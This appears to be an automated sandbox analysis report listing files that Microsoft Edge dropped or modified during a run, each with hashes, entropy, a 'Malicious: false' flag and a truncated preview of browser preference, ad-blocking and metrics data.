SHA-512:	361AF8426AC8E90A28363C6408ED244DB937D270ED9D07AF54AF24EA2E0D90C741E2F02AB88671131310AAB4E4C85E4F22E73E3475E97258A0BF372A50412DC7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374758727811049","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"485b8f87-bfae-4f40-9c4f-a9549473e06e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730285132"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\26d4bcd6-2f4b-479e-b460-e5af6467e16b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44894
Entropy (8bit):	6.095034498585634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCRi1zNtiA9N+DLkoF/KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7woKtSmd6qE7lFoC
MD5:	010FA74DB373575064EFE1D2252B1707
SHA1:	F65CEE495B04BA9A870CA90C8864B9B8D95D12EF
SHA-256:	4FD824ADF9C86BC23957A065E4A61AF0F524D77DD0E5B0D8BC7BB42B84D9CAD1
SHA-512:	C9C2F5ABE14700B5FFA83F2BBE01AB6E2A7556727C7A00140625759130530DD5915A974D39B0D7FC5A602735023ED1A55D7C9FA5E986359323B37DD5112CC41E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5c39bf79-d9d3-47b9-9587-e6b5d463d111.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44976
Entropy (8bit):	6.095145072204549
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWwRi1zNtiA99vFJ7FbkTWWKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOFwoKtSmd6qE7lFoC
MD5:	2B51C9714AE15F69CD206FD7F487DEC3
SHA1:	D7B5127DAEAC8F50CA591D7D4A2D117A37D8BBDC
SHA-256:	36B537A81082B09E6FA7D3846F6F17574BF3F9C063507018719EE6EB03B4A74C
SHA-512:	705584E694112DD0AF59A1E9C04C6AD7C7BAB46536E79A5DD2435EB79FA84C0CBD82BC4E540E33D9DAE4AFA2768A8431CDAF7AD5CB15B83FE32A49C5A53970C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\66039270-05b5-43f9-bd40-d836c4be1d13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44894
Entropy (8bit):	6.095034498585634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCRi1zNtiA9N+DLkoF/KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7woKtSmd6qE7lFoC
MD5:	010FA74DB373575064EFE1D2252B1707
SHA1:	F65CEE495B04BA9A870CA90C8864B9B8D95D12EF
SHA-256:	4FD824ADF9C86BC23957A065E4A61AF0F524D77DD0E5B0D8BC7BB42B84D9CAD1
SHA-512:	C9C2F5ABE14700B5FFA83F2BBE01AB6E2A7556727C7A00140625759130530DD5915A974D39B0D7FC5A602735023ED1A55D7C9FA5E986359323B37DD5112CC41E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\3bced8c0-e3be-4497-a73e-9627ca348498.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67220E46-1FD0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4590266035433214
Encrypted:	false
SSDEEP:	6144:dSZWElwjYRcdtPmIdAqg6AQa8Ha+aHELR:KRc3PmKaTk
MD5:	95462AA8E10B7DC80DDCA048E7D9F0C5
SHA1:	D65F0DD8A1573E59D78C78FC44298D19DE29399C
SHA-256:	515962C9B56C24FBCBDE92B65A781FD70AB5C276D4C8F69977A9848070C0148C
SHA-512:	74E4BAAAE3076BC932447701A577189C68E864B26587CE45DC9717919C9B64D6A5DEB09308F9305CC81757B8E13AE0B4BF6380C7E8AA22F75D66D1EFF398AD79
Malicious:	false
Preview:	...@..@...@.....C.].....@...................x...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".fuihev20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1330ec80-e107-465a-8ffd-9b48bac3235b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558123180249469
Encrypted:	false
SSDEEP:	768:7HFNHCWkO7pLGLpsVW5woyf4p08F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6iIZG1Pn:7lZCDOcpsVWaoyfg0u1jaPB28AtT
MD5:	7843C67663ACA01A9255D94D8EFF1771
SHA1:	7803669A70ED951C3992CAA4D42D924AC218B406
SHA-256:	DDA9DC755F81B22F6696ADCFDD9BC6D768039D7445D0DEB6E03596C37DDEF659
SHA-512:	484626B91B40CE9E3C26F7D5E7679B0E958B8D667E23C1004D16C8BAAD3F3F215BDFFB31C5695E7E08043635C736B48B1BF8CC849F2337FDAC9587F40FD19D12
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\58099cdf-48b5-4f55-be9e-bf6bcd856110.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17433), with no line terminators
Category:	dropped
Size (bytes):	17437
Entropy (8bit):	5.4798826886488445
Encrypted:	false
SSDEEP:	192:sthJ99QTryDiuabatSuyplsP0aFvrEj/Qk/nHAnDxKMwZqgow00N+88sbV+FII0u:sthPGQSu4lsP0CDGmwNq0tbGIrQw4KE
MD5:	158CF5A290272E6A91A3492D39C7BC58
SHA1:	AAF15ADD89E2A6B585470646C7FAB4C8FA954E54
SHA-256:	642331D1FB651C314D75215F3E45623CFCB864BB5FE99D34EDCC7010B04BE6B8
SHA-512:	2F4FBE7B78CFA67F808BC19EAB4242F003B7CF990040DCD422391F690D23E9D47DC669F17FC31DD1360D8E4162242C6CCA647130AED491C70BE6D06C29BE9F77
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f7588a8-4b30-47bd-816f-ddf186206d5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555033771640288
Encrypted:	false
SSDEEP:	768:7HcNpCWyO7pLGLpHVW5woyf4s08F1+UoAYDCx9Tuqh0VfUC9xbog/OVPliIZGeP/:78rCJOcpHVWaoyf30u1jakBV87PKgktP
MD5:	8DB07F37D94083F85A412BEF57FC98B6
SHA1:	32323BA99D6BF9759DC831BEDC2EED42A22B788F
SHA-256:	87CAE531945B4D37A26F35BCE683641A2AE094793A68BA302B7BE3B5D2E5C3A8
SHA-512:	D4A802959A9D7321B9F3BAECFECED2E237E3927B98560CDEC1BB119E23C9012045AC132F32A70C925D5AE6059A3B32911B82E6B00B01549CF143F60DF0C7A164
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\760f37a3-034d-42d2-abd5-8c20b266b777.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17598), with no line terminators
Category:	dropped
Size (bytes):	17602
Entropy (8bit):	5.476624730230787
Encrypted:	false
SSDEEP:	192:sthJ99QTryDiuabatSuyplsP0aFvrEj/Qk/nHAnDxKMwZqgow00N+88sbV+FII03:sthPGQSu4lsP0CDGmwNq0tbGIrQw9M3E
MD5:	A23F343923A6C96839C2E49D988C7997
SHA1:	DB91B20DE3D54F52F9566601708B670A1354DFF9
SHA-256:	775FB2C500F1D27358602786D3ED877D03B54B77FC3EB0A7999211395F063D71
SHA-512:	6B60846E191E81A199808941152ECD3259B4EBEFED5DBFB698D124B2B4946A576E1145B6C4CC36FADB159E5DA6098F003925C3ADF85A4DCC8330170D8904D675
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\89d6ebfe-521e-45ad-9bc6-3f6c6271d7ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\918cd193-21f9-4c38-acf6-5dcb66ca0e40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
